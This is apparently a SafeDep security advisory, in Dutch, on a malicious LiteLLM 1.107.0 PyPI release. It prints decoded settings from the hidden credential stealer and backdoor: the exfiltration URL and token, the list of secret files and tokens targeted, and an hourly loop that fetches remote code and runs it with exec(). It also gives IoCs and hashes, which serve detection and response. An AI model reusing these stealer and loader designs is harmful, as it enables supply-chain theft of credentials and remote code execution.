Gecomepromitteerde LiteLLM 1.107.0 op PyPI installeert een credential stealer en backdoor

Versies 1.106.2, 1.107.0rc1 en 1.107.0rc2 zijn schoon. De begeleidende pakketten die 1.107.0 vastzet, litellm-proxy-extras==0.4.110 en litellm-enterprise==0.1.78, zijn eveneens schoon.

Wat de aanval doet

Het installeren van litellm==1.107.0 plaatst drie bestanden in site-packages. Python laadt er twee telkens wanneer het wordt opgestart:

  1. cook.pth: Deze importeert cook.py, een credential stealer. Deze verzamelt SSH-sleutels, cloud-gegevens, CI/CD-geheimen, AI-tool-tokens, browserwachtwoorden en de LLM-provider-sleutels uit een LiteLLM-proxy-database. De gegevens worden versleuteld en verzonden naar www.litellm[.]dev.
  2. sitecustomize.py: Deze start een achtergrond-daemon. Elk uur leest de daemon een serveradres uit een GitHub-bestand, voert de stealer opnieuw uit en downloadt en voert code uit van die server.

Hoe het implantaat in de release terechtkwam

Het pyproject.toml bestand in de 1.107.0 source distribution (sdist) bevat één extra regel in de maturin build-sectie:

[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- geïnjecteerd
python-packages = ["litellm_cli"] # legitiem (aanwezig in upstream)

De instelling maturin data = "cook" kopieert een cook/ map naar litellm-1.107.0.data/purelib/ in de wheel. Pip installeert die map vervolgens in site-packages.

De sdist laat de cook/ map weg, waardoor deze regel de enige zichtbare wijziging is. Geen enkele publieke commit in BerriAI/litellm bevat data = "cook" of een cook/ map.

Het RECORD bestand van de wheel vermeldt de drie toegevoegde bestanden:

litellm-1.107.0.dist-info/RECORD
litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer

De release komt niet overeen met de tag

De tag v1.107.0 verwijst naar commit 66c8f5b (06:59 UTC). Het bijbehorende pyproject.toml vermeldt version = "1.108.0". SafeDep vergeleek elk sdist-bestand met de git-trees via blob-hash. De sdist komt overeen met een latere main-commit, a8113b0 (08:50 UTC), plus vijf bewerkte bestanden en de cook/ map.

Vier van de bewerkte bestanden zijn Cargo.toml bestanden waaraan een readme = "README.md" regel is toegevoegd. De legitieme 1.106.2 en rc2 releases hebben dezelfde bewerking. Het vijfde bestand is pyproject.toml, vergeleken met a8113b0:

pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz)
-version = "1.108.0"
+version = "1.107.0"
-    "litellm-proxy-extras==0.4.111",
-    "litellm-enterprise==0.1.79",
+    "litellm-proxy-extras==0.4.110",     # zelfde pins als 1.107.0rc2
+    "litellm-enterprise==0.1.78",
+data = "cook"                            # de injectie
...
-version = "1.108.0"                      # tweede versie-veld
+version = "1.107.0"

De bewerking zet de versie terug naar 1.107.0 en zet de begeleidende pakketten vast op de rc2-waarden. Hierdoor vertoont een dependency diff tegenover rc2 niets ongewoons. De legitieme 1.106.2 sdist komt overeen met zijn tag-commit 49943cd, op de Cargo.toml readme-regels na.

Hoe de wheels zijn gebouwd

De kwaadaardige wheels komen overeen met de output van de normale BerriAI release-pipeline:

  • Het WHEEL bestand noemt maturin 1.9.4, dezelfde versie als in de legitieme releases. De implant-bestanden hebben correcte RECORD vermeldingen, wat aantoont dat er na de build geen wijzigingen zijn aangebracht.
  • Zip-tijdstempels tonen aparte native builds: macOS om 11:20, Linux om 11:21 en Windows om 11:37 UTC.
  • In de Windows wheel hebben alle 2.804 .py bestanden CRLF-regeleinden, inclusief de drie implant-bestanden. De Linux wheel heeft deze niet. Een git checkout op Windows met regeleinde-conversie produceert dit patroon.

Geen enkele publieke GitHub Actions run bouwde of publiceerde de release. SafeDep controleerde alle 539 runs tussen 09:30 en 12:30 UTC.

Om 11:50 UTC, ongeveer 10 minuten na de PyPI-upload, publiceerde litellm-dispatcher[bot] de GitHub release v1.107.0. Dezelfde vertraging deed zich voor bij 1.106.2. PyPI heeft geen provenance attestaties voor 1.107.0, 1.106.2 of rc2.

SafeDep stelt, met matige tot hoge zekerheid vast, dat de private release-pipeline van BerriAI deze wheels heeft gebouwd vanuit een door een aanvaller gewijzigde git-bron. De aanvaller zou een gecompromitteerde maintainer- of bot-credential, een private branch of mirror, of de referentie waarvan de pipeline bouwt, hebben gebruikt. Een gestolen PyPI-token gebruikt vanaf de eigen machines van de aanvaller past minder goed bij het bewijs. Alleen de pipeline-logs van BerriAI kunnen de oorzaak bevestigen.

Payload 1: de credential stealer in cook.py

Bij het opstarten voert Python elke regel uit die begint met import in een .pth bestand in site-packages. cook.pth bevat import cook, waardoor de stealer wordt uitgevoerd in elk Python-proces op de host: de applicatie, pip, IDE language servers en CI-jobs.

cook.py verpakt ongeveer 61 KB Python-code in één laag van exec(zlib.decompress(base64.b64decode('...'))). De gedecodeerde code begint met deze configuratie:

cook.py (gedecodeerd)
PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # verzonden als X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # draait in een daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']

Wat er wordt verzameld

ModuleDoelen
sysinfo, netinfoHostnaam, gebruiker, besturingssysteem, IP-adressen, netwerkinstellingen
browser_pwChromium opgeslagen wachtwoorden (gedecrypteerd met profile master key/DPAPI op Windows), Firefox logins.json en key4.db
browser_histBrowsergeschiedenis
ssh_keys~/.ssh/*
shell_histbash en zsh geschiedenis, PowerShell PSReadLine, cmd geschiedenis
cloud_creds~/.aws/credentials en config, Azure profiel en tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrc
dev_secrets.pem, .key, .pfx, .p12, .pk8, .ppk bestanden onder $HOME, Composer auth.json, FileZilla opgeslagen servers
container_credsKubernetes service account token
cicd_secretsGitLab runner config.toml, Jenkins initialAdminPassword en master.key, .vault-token, Terraform credentials.tfrc.json, Packer settings
ai_devtoolsClaude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face token
env_varsEigen omgeving en de omgeving van andere processen via /proc/<pid>/environ
db_litellmLeest DATABASEURL en dumpt de LiteLLMCredentialsTable en LiteLLM_ProxyModelTable tabellen, waarin de API-sleutels van de LLM-provider van een LiteLLM-proxy staan
cloud_metadataAWS instance metadata service (IMDSv2, daarna v1): instance identity en role credentials
gpgkeys, tlsprivkeyGPG-sleutels, TLS private keys

Hoe de data wordt verzonden

De tool versleutelt de JSON-resultaten met een willekeurige AES-256-CBC sleutel, en versleutelt die sleutel vervolgens met RSA-OAEP en de ingebedde publieke sleutel.

Het resultaat wordt verpakt in een tar.gz (hdr.json, data.bin, key.bin) en verzonden in een POST-verzoek naar www.litellm[.]dev/healthcheck met de header X-Token: XWiA8gZNa7NcX2XRoAEb.

Na een succesvolle upload wordt /tmp/.pconce72129118c59f5636c0bb geschreven, zodat er slechts één keer per host gegevens worden verzameld. Er wordt ook PRIVCOLLECT_ACTIVE=1 ingesteld om een tweede run in dezelfde procesboom te voorkomen.

Payload 2: de backdoor in sitecustomize.py

Python importeert sitecustomize bij het opstarten, waardoor dit bestand ook in elk Python-proces wordt uitgevoerd.

sitecustomize.py
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"

Het bestand neemt een exclusieve lock op /tmp/remotecodeloader.lock, zodat er slechts één daemon per host draait. Het roept fork() en setid() aan, stuurt standaard input en output naar /dev/null en verandert de directory naar / om zich los te koppelen van het ouderproces.

Elk uur doet het het volgende:

  1. Leest domain.txt uit het GitHub-repository van de aanvaller en neemt de eerste regel die lijkt op een domein.
  2. Voert zijn ingebedde kopie van de stealer uit (die geen marker voor "één keer per host" heeft).
  3. Downloadt http://<domein>/codepy en voert dit uit met exec().

De aanvaller kan de daemon naar een nieuwe server sturen door domain.txt te bewerken. Elke geïnfecteerde host voert uit wat die server teruggeeft als codepy.

Om 13:40 UTC gaven het GitHub-account letters9813 en het bijbehorende repository een 404-fout, ongeveer twee uur na de release. De backdoor vindt nu geen serveradres meer en doet niets. Hosts die de daemon hebben uitgevoerd vóór de verwijdering, kunnen second-stage code hebben ontvangen en uitgevoerd. SafeDep kon het serveradres niet herstellen.

Tijdlijn

Alle tijden zijn UTC op 21-10-2026.

TijdGebeurtenis
06:59Tag v1.107.0 commit 66c8f5b aangemaakt
08:50Commit a8113b0 op main, de basis van de release bron
10:44Legitieme 1.106.2 geüpload naar PyPI
11:20 tot 11:37Kwaadaardige 1.107.0 wheels gebouwd
11:39 tot 11:401.107.0 geüpload naar PyPI (alle 8 bestanden)
11:50litellm-dispatcher[bot] publiceert GitHub release v1.107.0
13:40Geobserveerd: 1.107.0 verwijderd van PyPI, account letters9813 verwijderd

Indicatoren van compromittering (IoC)

Netwerk

IndicatorDoel
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheckOntvangt gestolen gegevens
HTTP header X-Token: XWiA8gZNa7NcX2XRoAEbVerzonden met elke upload
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txtBackdoor leest hier het serveradres (account verwijderd)
hxxp://<domein>/codepyDownload van second-stage code
Verzoeken naar 169.254.169.254 vanuit Python processenDiefstal van AWS instance credentials

Host

IndicatorBetekenis
cook.pth, cook.py, sitecustomize.py in site-packagesImplantaat geïnstalleerd
/tmp/.pconce72129118c59f5636c0bbStealer heeft al gegevens geüpload
/tmp/remotecodeloader.lockBackdoor daemon is uitgevoerd
Omgevingsvariabele PRIVCOLLECT_ACTIVE=1Aanwezig in geïnfecteerde processen
Losgekoppelde Python daemon (parent PID 1, eigen sessie, working directory /)Backdoor loop

Bestands-hashes (SHA-256)

BestandSHA-256
litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819
litellm-1.107.0-cp310-abi3-manylinux228x8664.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-manylinux228_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-musllinux12x8664.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-musllinux12_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-macosx1012x8664.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx110_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

De geplante bestanden, uit de wheel RECORD:

BestandSHA-256 (URL-safe base64)
cook.pthfxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s
cook.pyndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU
sitecustomize.pyNL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo